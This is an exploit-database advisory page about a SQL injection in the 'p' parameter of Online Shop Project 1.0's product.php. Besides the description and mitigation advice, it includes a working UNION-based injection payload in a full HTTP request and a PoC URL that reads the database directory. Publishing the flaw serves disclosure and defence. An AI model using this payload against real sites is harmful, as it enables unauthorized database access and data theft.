header-logo
Suggest Exploit
vendor:
Online Shop Project
by:
Augkim
8.8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Online Shop Project
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:online_shop_project_using_php_mysql
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Apache2
2020

Online Shop Project 1.0 – ‘p’ SQL Injection

The vulnerability exists due to an error in the 'p' parameter of '/shop/product.php' script, which can be exploited to inject or manipulate SQL queries. An attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in application's database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. The application should use parameterized queries (prepared statements) to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: Online Shop Project 1.0 - 'p' SQL Injection
# Date: 2020-09-20
# Exploit Author: Augkim
# Vendor Homepage: https://www.sourcecodester.com/php/14448/online-shop-project-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/online-shop-using-php.zip
# Tested on: Apache2


GET
/shop/product.php?p=2%20UNION%20ALL%20SELECT%201,2,3,4,@@datadir,6,7,8--%20-
HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=lmuj4akmh6q1flmcbnuisgttom
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Origin: foo.example.org


PoC:
/URL/product.php?p=2%20UNION%20ALL%20SELECT%201,2,3,4,@@datadir,6,7,8--%20-